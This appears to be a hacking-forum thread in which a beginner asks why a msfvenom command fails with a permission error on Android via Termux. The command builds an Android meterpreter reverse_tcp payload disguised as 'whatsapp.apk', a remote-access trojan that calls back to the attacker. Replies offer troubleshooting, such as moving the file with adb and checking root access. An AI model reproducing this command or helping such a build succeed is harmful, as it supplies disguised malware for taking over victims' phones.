Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Metasploit payload error

I am trying to create metasploit payload using termux on my android phone. I am a beginner. I am giving the following command

msf > ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=inet address LPORT=4444 R> /storage/whatsapp.apk (I am writing STORAGE as destinaion to save the APK file, as I dont have a sdcard. I have checked the setting in termux, where storage permission has been allowed.)

I am getting the following error.

[*]exec: ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=inet address LPORT=4444 R> /storage/whatsapp.apk

sh: 1: cannot create /storage/whatsapp.apk: Permission denied

Please help.


Any guidance will be much appreciated.
Save to the folder you wish on your machine first, then move it over with adb. Make sure that you have developer mode enabled on the android device.
are you rooted?
the error would suggest that you're not but maybe it's something else.
humble rubyist in a world of pythonistas


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ·CHESTER·Jul 16, 2025 09:04 AM 22 1,130 Jul 16, 2025 09:04 AM
Last Post: jcole
by jojolindoMar 23, 2023 05:09 AM 1 310 Mar 23, 2023 05:09 AM
Last Post: DramaKing
by BrunoBJun 15, 2019 11:39 AM 8 276 Jun 15, 2019 11:39 AM
Last Post: W32.DisTrack